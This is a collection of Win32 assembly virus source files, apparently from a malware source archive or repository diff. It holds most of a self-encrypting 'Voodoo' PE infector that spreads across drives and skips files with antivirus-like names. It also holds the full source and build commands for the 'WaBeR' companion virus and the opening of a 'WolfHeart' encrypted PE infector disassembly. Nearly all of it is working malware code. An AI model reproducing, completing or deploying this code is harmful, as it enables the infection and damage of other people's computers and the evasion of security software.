SYSTEM32CRC EQU 04C6D9398h
.386p
.model flat
VirSize EQU offset Voodoo_Ver_3_0E - offset Voodoo_Ver_3_1
MemSize Equ 2300h
extrn ExitProcess:PROC
include win32con.inc ; ®¯¨á ­¨¥ consts
.DATA
db 0
flag dd 12345678h
CheckSum EQU 0B0966F54h
CheckSum2 EQU 05E5F512Fh
GlobalAllocCRC EQU 01D2925FEh
GlobalLockCRC EQU 0BABEC79Dh
GlobalUnlockCRC EQU 09EA2AB80h
GlobalFreeCRC EQU 0B3BDC497h
CreateFileACRC EQU 0FE222F03h
CreateFileMappingACRC EQU 0CCF0FBCBh
MapViewOfFileCRC EQU 0D3DED3B4h
UnmapViewOfFileCRC EQU 0A5ADAF97h
FlushViewOfFileCRC EQU 0AFBFBF98h
ReadFileCRC EQU 0E5E1DAC2h
CloseHandleCRC EQU 02731310Dh
FindFirstFileACRC EQU 0315E6238h
FindNextFileACRC EQU 0C7F4F8CFh
SetFileAttributesACRC EQU 0EE2112FBh
SetFileTimeCRC EQU 012211900h
GetFileSizeCRC EQU 01E2D17F3h
GetCommandLineACRC EQU 08CBFBF94h
lstrcpyACRC EQU 001342E28h
SetFilePointerCRC EQU 065676742h
GetCurrentDirectoryCRC EQU 0E012FECDh
SetCurrentDirectoryCRC EQU 0E012FED9h
GetSystemTimeCRC EQU 018271EF9h
_GlobalUnlock EQU 0
_GlobalFree EQU _GlobalUnlock+4
_CreateFileA EQU _GlobalFree+4
_CreateFileMappingA EQU _CreateFileA+4
_MapViewOfFile EQU _CreateFileMappingA+4
_UnmapViewOfFile EQU _MapViewOfFile+4
_FlushViewOfFile EQU _UnmapViewOfFile+4
_CloseHandle EQU _FlushViewOfFile+4
_FindFirstFileA EQU _CloseHandle+4
_FindNextFileA EQU _FindFirstFileA+4
_SetFileAttributesA EQU _FindNextFileA+4
_SetFileTime EQU _SetFileAttributesA+4
_GetFileSize EQU _SetFileTime+4
_GetCommandLineA EQU _GetFileSize+4
_ReadFile EQU _GetCommandLineA+4
_lstrcpyA EQU _ReadFile+4
_SetFilePointer EQU _lstrcpyA+4
_GetCurrentDirectory EQU _SetFilePointer+4
_SetCurrentDirectory EQU _GetCurrentDirectory+4
_GetSystemTime EQU _SetCurrentDirectory+4
OldEBP EQU _GetSystemTime+4
FileSize EQU OldEBP+4
HhendleOfFile EQU FileSize+4
HhendleOfMapFile EQU HhendleOfFile+4
Pointer2MapFile EQU HhendleOfMapFile+4
tag EQU Pointer2MapFile+4
SearcHandle EQU tag+2
SearcHandle2 EQU SearcHandle+4
systemtime EQU SearcHandle2+4
CODEBUF EQU systemtime +16
CommandLine EQU CODEBUF+VirSize
CurDir EQU CommandLine+800
CurDir2 EQU CurDir+800
Win32FindData EQU CurDir2 +800
CreationTime EQU Win32FindData+4
LastAccessTime EQU CreationTime+4
LastWriteTime EQU LastAccessTime+4
files EQU LastWriteTime+32
NumberOfBytesRead EQU MemSize-4
.CODE
@Name_Pointers_RVA EQU offset Name_Pointers_RVA - offset EntryPoint_
@GetProcAddress EQU offset GetProcAddress - offset EntryPoint_
@KernelHandle EQU offset KernelHandle - offset EntryPoint_
@_GlobalAlloc EQU offset _GlobalAlloc - offset EntryPoint_
@_GlobalLock EQU offset _GlobalLock - offset EntryPoint_
@MemPointer EQU offset MemPointer - offset EntryPoint_
@NextCode EQU offset NextCode - offset EntryPoint_
@Dirmask EQU offset Dirmask - offset EntryPoint_
@mask EQU offset mask - offset EntryPoint_
@disk EQU offset disk - offset EntryPoint_
@EntryPointRVA EQU offset EntryPointRVA - offset EntryPoint_
@ImportTable EQU offset ImportTable - offset EntryPoint_
@EndImportTable EQU offset EndImportTable - offset EntryPoint_
Voodoo_Ver_3_1:
Call EntryPoint_
EntryPoint_:
;find MZ in memory
;----------------------
popravka EQU offset CryptBegin - offset Voodoo_Ver_3_1
INCAX EQU offset @INCAX - offset Voodoo_Ver_3_1
CRCcode EQU offset @CRCcode - offset Voodoo_Ver_3_1
mov al,00
call _k
_k:pop esi
mov ecx,VirSize - popravka
add esi,offset CryptBegin- offset _k ;10h+18+6
mov ebp,esp
crypt: xor byte ptr [esi],al
mov dword ptr [ebp+18],12345678h
cmp dword ptr [ebp+18+1],12345678h
jne k
jmp Voodoo_Ver_3_0E
k: inc esi
@INCAX:db 90h, 90h, 90h ;add ax,cx
loop crypt
CryptBegin:
;----------------------
popravka2 EQU offset CryptBegin2 - offset Voodoo_Ver_3_1
INCAX2 EQU offset @INCAX2 - offset Voodoo_Ver_3_1
@CRCcode:
mov al,00
call _k2
_k2:pop esi
mov ecx,VirSize - popravka2
add esi,offset CryptBegin2- offset _k2 ;10h+18+6
mov ebp,esp
crypt2: xor byte ptr [esi],al
mov dword ptr [ebp+18],12345678h
cmp dword ptr [ebp+18+1],12345678h
jne k2
jmp Voodoo_Ver_3_0E
k2: inc esi
@INCAX2:db 90h, 90h, 90h ;add ax,cx
loop crypt2
CryptBegin2:
;----------------------
call _ESI
_ESI: pop esi
pop ecx
call ScanMZ
; in esi PE header
add esi,80h
add edi,dword ptr [esi] ;Import RVA
jmp @L1
NotKERNEL32:
MOV EBX,EBP
add edi,00014h
@L1:
cmp dword ptr [edi+0ch],000000h
je NOtFound
add ebx,dword ptr [edi+0ch] ;RVA NAme of dll
call CRCSum
cmp eax,CheckSum
jne NotKERNEL32
push ebp
pop esi
add ESI,DWORD ptr [edi+10h] ;KERNEL32 proc
mov esi,dword ptr [esi]
cmp byte ptr [esi+5],0e9h ; win98
jne Ok_
add esi,dword ptr [esi+6]
Ok_:call ScanMZ
;push EBP ;Hendle of KERNEL32.dll
add esi,78h
add edi,dword ptr [esi] ; edi=Export Directory Table RVA
mov eax,ebp
add eax,dword ptr [edi+1ch] ; Address Table
push eax
mov edx,ebp
add edx,dword ptr [edi+24h] ; Ordinal Table
add ebx,dword ptr [edi+20h] ;ebx=Name Pointers RVA
mov dword ptr [ecx+@Name_Pointers_RVA],ebx
mov esi,ebx
push ecx
mov ecx,dword ptr [edi+18h] ; Num of Name Pointers
push ecx
@L2:call ScanNameTable
cmp eax,CheckSum2
je FoundGetProcAdr
inc esi
inc esi
inc esi
inc esi
loop @L2
FoundGetProcAdr:
pop eax
sub eax,ecx ; #function
shl eax,1 ; x2
; Ordinal Table
add edx,eax ;
xor eax,eax
mov ax,word ptr [edx] ;Ordinal of GetProcAddress
shl eax,2 ;x4
pop ecx ;entry
pop ebx ; offset to Address Table
add ebx,eax
mov eax,dword ptr [ebx]
add eax,ebp
mov [@GetProcAddress+ecx],eax
mov [@KernelHandle+ecx],ebp
mov edx,GlobalAllocCRC
call CalkProcAdress
mov [@_GlobalAlloc+ecx],eax
mov edx,GlobalLockCRC
call CalkProcAdress
mov [@_GlobalLock+ecx],eax
push ecx
push MemSize
push 0
call dword ptr [@_GlobalAlloc+ecx]
pop ecx
push ecx
push eax
call dword ptr [@_GlobalLock+ecx]
pop ecx
mov [@MemPointer+ecx],eax
mov eBX,eax
mov edi,eax
mov esi,@ImportTable
add esi,ecx
MakeImport:
mov edx,dword ptr [esi]
call CalkProcAdress
cld
stosd
inc esi
inc esi
inc esi
inc esi
cmp word ptr [esi],6666h
jne MakeImport
mov ebp,ecx ; entry !
;--------------------
;####################
call Infect
;####################
mov esi,ebp
sub esi,5
mov edi,CODEBUF
add edi,ebx ;MemPointer
cld
mov ecx,VirSize
rep movsb
NOtFound:
cmp [flag],12345678h
jne Ret2Prog
push 0
call ExitProcess
Ret2Prog: mov [OldEBP+ebx],ebp
mov esi,ebx
mov ebp,esi
add esi,@NextCode+CODEBUF+5
add ebp,CODEBUF+5
jmp esi
NextCode:
call GetCommandLineA
mov esi,eax
cmp byte ptr [esi+1],':' ;for win9x
je NormalCommandLine
inc eax
NormalCommandLine:
push eax
mov eax,CommandLine
add eax,ebx
push eax
call lstrcpyA
mov esi,CommandLine
add esi,ebx
push esi
@L3: inc esi
cmp byte ptr [esi],'.'
jne @L3
mov byte ptr [esi+4],0
pop eax
push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ ;or FILE_SHARE_WRITE
push GENERIC_READ ;or GENERIC_WRITE
push eax
call CreateFileA
mov [HhendleOfFile+ebx],eax
push eax
push NULL
push eax
call GetFileSize
mov edx,eax
sub edx,VirSize
pop eax
push eax
push 0
push NULL
push edx
push eax
call SetFilePointer
pop eax
mov edx,[ebx+OldEBP]
sub edx,5
push edx
push NULL
mov ecx,NumberOfBytesRead
add ecx,ebx
push ecx
push VirSize
push edx
push eax
call ReadFile
pop esi
call _EDI
EntryPointRVA: dd 0
_EDI: pop edi
add esi,dword ptr [edi]
jmp esi
;----------------------------------------------------------
PushWin32FindData:
mov edx,Win32FindData
add edx,ebx
ret
InfectDir:
mov eax,CurDir2
add eax,ebx
push eax ;
push 800
call GetCurrentDirectory
call Infect_All_files
call PushWin32FindData
push edx
mov eax,ebp
add eax,@Dirmask
push eax
call FindFirstFileA
mov dword ptr [SearcHandle+ebx],eax
l2: call PushWin32FindData
push edx
push dword ptr [SearcHandle+ebx]
call FindNextFileA
or eax,eax
jz ExitFromProcInfectDir
cmp byte ptr [files+ebx],'.'
je l2
mov eax,[Win32FindData+ebx]
and eax,FILE_ATTRIBUTE_DIRECTORY
jz l2
;set new dir
mov edx,CurDir2
add edx,ebx
push edx
call SetCurrentDirectory
mov edx,files
add edx,ebx
; SYSTEM32 ?
push ebx
mov ebx,edx
call CRCSum
pop ebx
cmp eax,SYSTEM32CRC
je l2 ;DoNotInfect
push edx
call SetCurrentDirectory
call Infect_All_files
jmp l2
ExitFromProcInfectDir:
ret
;----------------------------------------------------------
Infect_All_files:
call PushWin32FindData
push edx
mov edx,@mask
add edx,ebp
push edx
xor ecx,ecx
call FindFirstFileA
mov dword ptr [SearcHandle2+ebx],eax
cmp eax,-1
je l2__
Next: or eax,eax
jz l2__
cmp ecx,FileCount
jge l2__
inc ecx
push ecx
call InfectFile
call PushWin32FindData
push edx
push dword ptr [SearcHandle2+ebx]
call FindNextFileA
pop ecx
cmp di,9999h
jne Noerrror
dec ecx
xor edi,edi
Noerrror:
jmp Next
l2__: ret
;-----------------------------------------------------------
Infect:
mov eax,CurDir
add eax,ebx
push eax ;
push 800
call GetCurrentDirectory
call InfectDir
mov ecx,DiskCount
Scan: push ecx
mov eax,@disk
add eax,ebp
push eax
call SetCurrentDirectory
call InfectDir
inc byte ptr [@disk+ebp]
pop ecx
loop Scan
mov eax,CurDir
add eax,ebx
push eax ;
call SetCurrentDirectory
ret
;----------------------------------------------------------
InfectFile:
mov eax,ebx
add eax,files
cmp word ptr [eax],'-F' ;F-port
je @AV
cmp word ptr [eax],'WA' ; AW ?
je @AV
cmp word ptr [eax],'VA' ; AV?????
je @AV
cmp word ptr [eax+1],'VA' ;NAV,PAV,RAV,_AVP???
je @AV
cmp word ptr [eax+3],'BE' ;drWeb
je @AV
cmp word ptr [eax+2],'DN' ;PANDA
je @AV
cmp dword ptr [eax],'ITNA';ANTI???
je @AV
cmp dword ptr [eax],'FASV';VSAF???
je @AV
cmp dword ptr [eax],'PWSV';VSWP???
je @AV
cmp dword ptr [eax],'VASF';FSAV???
je @AV
push eax
push 00000020h
push eax
call SetFileAttributesA
pop eax
push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push eax
call CreateFileA
cmp eax,-1
je Error__
call LoadMemPointer
mov [HhendleOfFile+ebx],eax
push ebx
push NULL
push eax
call GetFileSize
pop ebx
mov [FileSize+ebx],eax
Point@ret:push edx
push eax ; to MApViewofFile
push NULL
push eax
push NULL
push PAGE_READWRITE
push NULL
push dword ptr [HhendleOfFile+ebx]
call CreateFileMappingA
mov [HhendleOfMapFile+ebx],eax
; v steke Size
push 0
push 0
push FILE_MAP_WRITE
push eax
call MapViewOfFile
mov [Pointer2MapFile+ebx],eax
pop edx
cmp word ptr [tag+ebx],6666h
je OkOb
mov esi,eax
CMP byte ptr [esi+18h],40h
jl OOO
cmp dword ptr [esi+3ch],00010000h
jg OOO
mov edi,dword ptr [esi+3ch]
cmp dword ptr [esi+edi],00004550h ;PE Only !
jne OOO
cmp dword ptr [esi+6fh],334e4957h ;'WIN3' Infected ?
je OOO
;find CODE object
mov [systemtime+ebx],esi
;
add esi,edi
mov eax,dword ptr [esi+80h] ;Import Table RVA
push eax
xor ecx,ecx
mov cx,word ptr [esi+6h] ;Num of Object
MOV EDX,DWORD ptr [esi+28h] ; Entry point RVA
mov dword ptr [ebp+@EntryPointRVA],edx
mov edx,esi
mov eax,24
add ax,word ptr [esi+14h]
mov edi,esi
add edi,eax ;edi=Object Table
pop eax ;Import Table RVA
pusha
mov edx,eax
Find_Import_Table:
dec ecx
mov eax,dword ptr [edi+0ch] ; Object RVA
cmp edx,eax
jge Mabe
IncEDI: add edi,28h
or ecx,ecx
je Not_Find
jmp Find_Import_Table
Mabe: add eax,dword ptr [edi+10h] ; SIZE
CMP EDX,EAX ; Object RVA =< Import Table RVA =< Object RVA + Phisikal Size
jle L22
jmp IncEDI
L22:
mov esi,[Pointer2MapFile+ebx]
push edx
sub edx,dword ptr [edi+0ch]
add esi,edx
mov eax,dword ptr [edi+14h] ;Phis offset
add esi,eax
pop edx ; ESI = Phis offset Import Table
mov ecx,dword ptr [edi+0ch] ; Object RVA
ECTLI_KERNEL:
mov edi,dword ptr [esi+0ch] ; EDI=Name RVA
cmp edi,NULL ;
je KERNEL_HET
sub edi,ecx
add edi,eax ; EAX= Phis offset
add edi,[Pointer2MapFile+ebx]
cmp dword ptr [edi],'NREK';KERNEL
je KERNEL_ECT
add esi,14h
jmp ECTLI_KERNEL
KERNEL_HET:
Not_Find: popa
jmp Code_Not_Find
KERNEL_ECT: popa
_loop: db 08Bh,47h,24h ;mov eax,dword [edi+024h]
EXEC_FLAG EQU 20000020h
and eax,EXEC_FLAG
jnz Code_Object
add edi,2ch
loop _loop
jmp Code_Not_Find
Code_Object:
;chek object size
cmp dword ptr [edi+10h],VirSize
jl Code_Not_Find
push esi
mov esi,dword ptr [systemtime+ebx]
mov dword ptr [esi+6fh],334e4957h
pop esi
; make writeble
or dword ptr [edi+24h],80000000h
mov eax,dword ptr [edi+0ch] ;object RVA
sub dword ptr [ebp+@EntryPointRVA],eax
mov dword ptr [edx+28h],eax ; Set New Entry Point RVA
; save old Programm
call CloseMapping
mov word ptr [ebx+tag],06666h
mov eax,dword ptr [ebx+FileSize]
push eax
add eax,VirSize
jmp Point@ret
OkOb: mov word ptr [ebx+tag],09999h
mov esi,dword ptr [edi+14h] ;phisical offset
add esi,dword ptr [ebx+Pointer2MapFile]
;add esi,edx
pop edi
add edi,dword ptr [ebx+Pointer2MapFile]
mov ecx,VirSize
push esi ;CODE
push esi
cld
rep movsb
;write bady to program
mov esi,ebp
sub esi,5
pop edi ; CODE
mov ecx,VirSize
cld
rep movsb
mov eax,ebx
add eax,systemtime
push eax
call GetSystemTime
mov ax,word ptr [ebx+systemtime+14]
pop esi
mov byte ptr [esi+6],al
mov byte ptr [esi+CRCcode+1],al ; ?
mov dword ptr [esi+INCAX],0e2c10366h ;inc ax
mov dword ptr [esi+INCAX2],0e2c10366h ;inc ax
push esi
push eax
mov ecx,VirSize- popravka2
add esi,offset CryptBegin2- offset Voodoo_Ver_3_1;
crypt_2: xor byte ptr [esi],al
add ax,cx
inc esi
loop crypt_2
pop eax
POP esi
mov ecx,VirSize- popravka
add esi,offset CryptBegin- offset Voodoo_Ver_3_1;2eh+6
crypt_: xor byte ptr [esi],al
add ax,cx
inc esi
loop crypt_
Code_Not_Find:
OOO2: call CloseMapping
Error__2: call PushWin32FindData
push dword ptr [edx]
mov eax,ebx
add eax,files
push eax
call SetFileAttributesA
@AV: ret
OOO: mov di,9999h
jmp OOO2
Error__: mov di,9999h
jmp Error__2
;--------------------------------------------------------
CalkProcAdress: push ecx
push esi
push edi
mov esi,@Name_Pointers_RVA
add esi,ecx
mov esi,dword ptr [esi]
fCRC: call ScanNameTable
cmp eax,edx
je foCRC
inc esi
inc esi
inc esi
inc esi
jmp fCRC
foCRC:
mov eax,dword ptr [esi]
add eax,ebp
push eax
mov eax,@KernelHandle
add eax,ecx
push dword ptr [eax]
call dword ptr [@GetProcAddress+ecx]
pop edi
pop esi
pop ecx
ret
;--------------------------------------------------------
ScanNameTable:
PUSH EBX
push ecx
mov ebx,ebp
add ebx,dword ptr [esi]
call CRCSum
pop ecx
POP EBX
ret
;--------------------------------------------------------
CRCSum: xor eax,eax
Sum: add eax,dword ptr [ebx]
cmp byte ptr [ebx+4],0
je ExitfromCRCSum
inc ebx
jmp Sum
ExitfromCRCSum:
ret
;--------------------------------------------------------
ScanMZ:
push ecx ; \/
and si,1111000000000000b
ScanMZ_:
sub esi,1000h
cmp word ptr [esi],'ZM'
jne ScanMZ_
mov edi,esi
mov ebx,esi
MOV EBP,ESI
push esi
cmp dword ptr [esi+3ch],00010000h
jg NextMZ
add esi,dword ptr [esi+3ch]
cmp dword ptr [esi],004550h
NextMZ:pop esi
jne ScanMZ_
add esi,dword ptr [esi+3ch]
pop ecx
ret
;---Local ----------
CloseMapping:
push edx
push dword ptr [Pointer2MapFile+ebx]
call UnmapViewOfFile
push dword ptr [HhendleOfMapFile+ebx]
call CloseHandle
pop edx
ret
;--------------------------------------------------------
LoadMemPointer:
mov ebx,dword ptr ds:[ebp+@MemPointer]
ret
;----Import---------
GetFileSize: call LoadMemPointer
jmp dword ptr ds:[ebx+_GetFileSize]
CreateFileA: call LoadMemPointer
jmp dword ptr ds:[ebx+_CreateFileA]
CreateFileMappingA:
call LoadMemPointer
jmp dword ptr ds:[ebx+_CreateFileMappingA]
MapViewOfFile:
call LoadMemPointer
jmp dword ptr ds:[ebx+_MapViewOfFile]
UnmapViewOfFile:
call LoadMemPointer
jmp dword ptr ds:[ebx+_UnmapViewOfFile]
FlushViewOfFile:
call LoadMemPointer
jmp dword ptr ds:[ebx+_FlushViewOfFile]
CloseHandle: call LoadMemPointer
jmp dword ptr ds:[ebx+_CloseHandle]
GetCommandLineA:
call LoadMemPointer
jmp dword ptr ds:[ebx+_GetCommandLineA]
lstrcpyA: call LoadMemPointer
jmp dword ptr ds:[ebx+_lstrcpyA]
ReadFile: call LoadMemPointer
jmp dword ptr ds:[ebx+_ReadFile]
SetFilePointer: call LoadMemPointer
jmp dword ptr ds:[ebx+_SetFilePointer]
FindFirstFileA: call LoadMemPointer
jmp dword ptr ds:[ebx+_FindFirstFileA]
FindNextFileA: call LoadMemPointer
jmp dword ptr ds:[ebx+_FindNextFileA]
GetCurrentDirectory:
call LoadMemPointer
jmp dword ptr ds:[ebx+_GetCurrentDirectory]
SetCurrentDirectory:
call LoadMemPointer
jmp dword ptr ds:[ebx+_SetCurrentDirectory]
SetFileAttributesA:
call LoadMemPointer
jmp dword ptr ds:[ebx+_SetFileAttributesA]
SetFileTime:
call LoadMemPointer
jmp dword ptr ds:[ebx+_SetFileTime]
GetSystemTime:
call LoadMemPointer
jmp dword ptr ds:[ebx+_GetSystemTime]
db '(c) Voodoo/SMF v3.1 07.08.1999'
;-------------------
GetProcAddress dd 11223344h
KernelHandle dd 11223344h
Name_Pointers_RVA dd 11223344h
_GlobalAlloc dd 11223344h
_GlobalLock dd 11223344h
MemPointer dd 11223344h
disk db 'c:\',0
Dirmask DB '*.*',0
mask DB '*.EXE',0
ImportCount EQU (offset EndImportTable- offset ImportTable)/4
ImportTable: dd GlobalUnlockCRC
dd GlobalFreeCRC
dd CreateFileACRC
dd CreateFileMappingACRC
dd MapViewOfFileCRC
dd UnmapViewOfFileCRC
dd FlushViewOfFileCRC
dd CloseHandleCRC
dd FindFirstFileACRC
dd FindNextFileACRC
dd SetFileAttributesACRC
dd SetFileTimeCRC
dd GetFileSizeCRC
dd GetCommandLineACRC
dd ReadFileCRC
dd lstrcpyACRC
dd SetFilePointerCRC
dd GetCurrentDirectoryCRC
dd SetCurrentDirectoryCRC
dd GetSystemTimeCRC
dw 6666h
EndImportTable:
Voodoo_Ver_3_0E:
Ends
End Voodoo_Ver_3_1
===== Cut =====

2685
Win32/Win32.Vulcano.asm Normal file

File diff suppressed because it is too large Load Diff

321
Win32/Win32.Waber.asm Normal file

@ -0,0 +1,321 @@
;===========================================================================================
; ...:: Win32.WaBeR - ViruS ::...
; Version 2.4
; by -DiA- (c) 02
; GermanY
;
;
;
; Here it is! My 1st Win32.Companion Virus ...success!!! :)
; Don't grumble about the code, it's my 2th Win32.Virus... ...and I go on. =)
; DiA_hates_machine@gmx.de
;
;
;
; Some Comments:
; -decrypt the strings
; -read the counter >not exist = MAKE IT!
; >if not 0 = go to the virus and infect some files
; >if 0 = jmp to PAYLOAD
; -payload:
; +after 24 starts the payload aktivate
; +it prints a nice message:
; ...:Weed And BEer Rulez:...
; Win32.WaBeR - ViruS
; Version 2.4
; by -DiA- (c)02
; [PLEASE RESET THE WaBeR-COUNTER : "C:\WaBeR.dll"]
; -virus renames found .EXE to .SYS file
; -virus copy itself to the .EXE file
; -after work the host runs!
; -allright...
;
;
; Greetz to Monochrom - without you, this virus can't live :)
;
;
; To Compile the WaBeR - ViruS:
; tasm32 /z /ml /m3 WaBeR24,,;
; tlink32 -Tpe -c WaBeR24,WaBeR24,, import32.lib
;
; To Compile the WaBeR - SYS:
; tasm32 /z /ml /m3 WaBeR24sys,,;
; tlink32 -Tpe -c WaBeR24sys,WaBeR24sys,, import32.lib
; rename WaBeR24sys.exe WaBeR24.sys
;===========================================================================================
;*******************************************************************************************
;*****cut*****WaBeR24.sys*******************************************************************
;.386
;.model flat
;jumps
;
;extrn MessageBoxA:PROC
;extrn ExitProcess:PROC
;
;.data
;titel db '1st Generation',0
;msg db 'Win32.WaBeR - Virus',10,13
; db 'Version 2.4',10,13
; db 'by -DiA- (c)02',10,13
; db '[my 1st companion virus in win32]',0
;
;.code
;start:
;
;push 16
;push offset titel
;push offset msg
;push 0
;call MessageBoxA
;
;push 0
;call ExitProcess
;
;end start
;*****cut*****WaBeR24.sys*******************************************************************
;*******************************************************************************************
;=====Have Fun...===========================================================================
.386
.model flat
jumps
extrn GetCommandLineA:PROC
extrn lstrcpyA:PROC
extrn FindFirstFileA:PROC
extrn CopyFileA:PROC
extrn FindNextFileA:PROC
extrn CreateProcessA:PROC
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
extrn OpenFile:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn ReadFile:PROC
extrn CloseHandle:PROC
extrn SetFilePointer:PROC
.data
FileName db 'ù€æíÛøßè”ÞÖÖ',-70
titel db '”””€íßßÞšûÔÞšøÿßÈšèÏÖßÀ€”””',-70
msg db 'íÓÔ‰ˆ”íÛøßèš—šìÓÈÏé',-80,-73
db 'ìßÈÉÓÕÔšˆ”Ž',-80,-73
db 'ØÚ—þÓû—š’Ù“Šˆ',-80,-73,-80,-73,-80,-73
db 'áêöÿûéÿšèÿéÿîšîòÿšíÛøßè—ùõïôîÿ蚀š˜ù€æíÛøßè”ÞÖÖ˜ç',-70
FirstNum db 'ò',-70
FileMask db '<27>”ÿâÿ',-70
Number db 01d dup (0)
FileAttr dd 0
FileHandle dd 0
Read dd 0
Write dd 0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
FindFile db 200 dup (0)
CreateFile db 200 dup (0)
VirusFile db 200 dup (0)
OriginFile db 200 dup (0)
.code
start:
;-----Decrypt all Strings-------------------------------------------------------------------
mov esi,offset FileName
mov edi,esi
mov ecx,154d
call DeCrypt
;-------------------------------------------------------------------------------------------
;-----Check the Counter---------------------------------------------------------------------
push 2
push offset FileAttr
push offset FileName
call OpenFile
cmp eax,0FFFFFFFFh
je MakeFile
mov dword ptr [FileHandle],eax
GOon:
call SetPointer
push 0
push offset Read
push 01d
push offset Number
push dword ptr [FileHandle]
call ReadFile
cmp byte ptr [Number],'0'
je BOOM
dec byte ptr [Number]
call SetPointer
push 0
push offset Write
push 01d
push offset Number
push dword ptr [FileHandle]
call WriteFile
push dword ptr [FileHandle]
call CloseHandle
jmp WaBeR
MakeFile:
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push offset FileName
call CreateFileA
mov dword ptr [FileHandle],eax
call SetPointer
push 0
push offset Write
push 01d
push offset FirstNum
push dword ptr [FileHandle]
call WriteFile
jmp GOon
BOOM:
push dword ptr [FileHandle]
call CloseHandle
push 16
push offset titel
push offset msg
push 0
call MessageBoxA
jmp exit
SetPointer:
push 0
push 0
push 0
push dword ptr [FileHandle]
call SetFilePointer
ret
;-------------------------------------------------------------------------------------------
;-----Decrypt Loop--------------------------------------------------------------------------
DeCrypt:
lodsb
xor al,69d
not al
stosb
loop DeCrypt
ret
;-------------------------------------------------------------------------------------------
;-----Infect some Filez---------------------------------------------------------------------
WaBeR:
call GetCommandLineA
push eax
push offset VirusFile
call lstrcpyA
mov eax,offset VirusFile
GetPoint1:
cmp byte ptr [eax],'.'
jz FoundPoint1
inc eax
jmp GetPoint1
FoundPoint1:
add eax,04d
mov byte ptr [eax],00
push offset VirusFile+1
push offset OriginFile
call lstrcpyA
mov eax,offset OriginFile
GetPoint2:
cmp byte ptr [eax],'.'
jz FoundPoint2
inc eax
jmp GetPoint2
FoundPoint2:
inc eax
mov dword ptr [eax],535953h
push offset Win32FindData
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax
FindNext:
cmp eax,-1
je RunHost
or eax,eax
jz RunHost
push offset FindFile
push offset CreateFile
call lstrcpyA
mov eax,offset CreateFile
GetPoint3:
cmp byte ptr [eax],'.'
jz FoundPoint3
inc eax
jmp GetPoint3
FoundPoint3:
inc eax
mov dword ptr [eax],535953h
push 1
push offset CreateFile
push offset FindFile
call CopyFileA
push 0
push offset FindFile
push offset VirusFile+1
call CopyFileA
push offset Win32FindData
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext
RunHost:
push offset ProcessInfo
push offset StartupInfo
push 0
push 0
push 00000010h
push 0
push 0
push 0
push offset OriginFile
push offset OriginFile
call CreateProcessA
exit:
push 0
call ExitProcess
;-W-E-E-D--A-N-D--B-E-E-R--R-U-L-E-Z-----DiA------------------------------------------------
end start
;===========================================================================================

1003
Win32/Win32.Winux.asm Normal file

File diff suppressed because it is too large Load Diff

726
Win32/Win32.WolfHeart.asm Normal file

@ -0,0 +1,726 @@
;Win32.WolfHeart aka win32.gen disassembly by DR-EF
;--------------------------------------------------
;Author:ByteSV/VHC
;Orgin:russia
;type: encrypted win32 pe infector
;description:
;------------
;when worlfheart running,it decrypt itself using a 32bit xor key,than
;its trying to get the GetModuleHandle api address,if that fail,its
;assume win32 kernel base is at 0BFF70000h,than its start to find needed
;api functions,after that its search the currect directory for *.exe,to
;infect pe file,wolfheart append new section,put its code at that section
;and encrypt it by 32bit key using xor method,than its set the host entry
;point to that section.to read/write from files,wolfheart using file mapping
.386
.model flat
.radix 16
extrn ExitProcess:proc
.data
db ?
.code
VirusStart:
pushad ;save registers
pushfd ;save flags
call Delta
Delta: pop ebp
sub ebp, offset Delta ;get delta offset into ebp
VirusKey equ ($-VirusStart+2)
mov eax, 00000000 ;decryption key here !
mov esi,offset EncryptedVirusStart ;set start of data to decrypt
add esi, ebp
mov ecx, SizeOfEncryptedVirus ;set size of encrypted virus
nop
@Decrypt:
xor dword ptr [esi], eax ;decrypt
inc esi
inc esi
inc esi
inc esi
loop @Decrypt ;decrypt virus loop
DecryptorSize equ ($-VirusStart)
EncryptedVirusStart:
mov ebx, 00400000 ;host image base
HostImageBase equ ($-4)
mov esi, ebx ;esi = host image base
mov edx,offset GMH
add edx, ebp
mov ecx, 00000010h
nop
mov dword ptr [ebp+StrAdd], edx
mov dword ptr [ebp+StrLen], ecx
call WolfHeart_GetGMHApi
jnb GMH_Success ;jnc
nop
nop
nop
nop
mov eax, 0BFF70000h ;search kernel fail,assume kernel at bff700000
jmp FindGPA
nop
nop
nop
GMH_Success:
mov edx, ebp
add edx,offset k32_dll
push edx ;push offset "KERNEL32.DLL"
call eax ;call GetModuleHandle
or eax, eax ;is eax==0 ?
je ReturnToHost ;if so get out
;FindGPA Function
;input:
;eax - kernel32 image base
FindGPA:
mov edx, dword ptr [ebp+HostImageBase] ;get host image base
push edx ;save it in the stack
mov edx, dword ptr [ebp+HostEntryPoint] ;get host entry point
push edx ;save it on the stack
mov esi, eax ;esi - kernel32 image base
mov esi, dword ptr [esi+3Ch] ;esi - rva to pe header
add esi, eax ;esi - pe header
mov edx, dword ptr [esi] ;read 4 bytes from start of pe header
cmp edx, 00004550 ;compare them with PE\0\0
jne ReturnToHost ;if not equal get out
xor edx, edx ;zero edx
mov esi, dword ptr [esi+78] ;get rva to exports
add esi, eax ;convert it to va
mov dword ptr [ebp+Export_Section], esi ;save export section offset
mov ecx, dword ptr [esi+18] ;get number of functions
mov ebx, dword ptr [esi+20] ;get rva to function names rva's array
add ebx, eax ;convert it to va
FindNApi:
mov edi, dword ptr [ebx] ;get rva to function name
add edi, eax ;convert it to va
cmp byte ptr [edi], 47 ;compare the first byte of the api name with 'G'
jne NotGPA ;if not equal move to next api
nop
nop
nop
nop
mov esi,offset GPA ;get offset to GetProcAddress string
add esi, ebp ;add delta offset
mov ecx, 0000000Eh ;GetProcAddress size
nop
repz cmpsb ;compare api name in the exports with "GetProcAddress"
jne NotGPA ;if not equal move to next api
nop
nop
nop
nop
cmp byte ptr [edi], 00 ;check for string zero termination
jne NotGPA
nop
nop
nop
nop
mov dword ptr [ebp+0040166Bh], eax ;save kernel32 base address
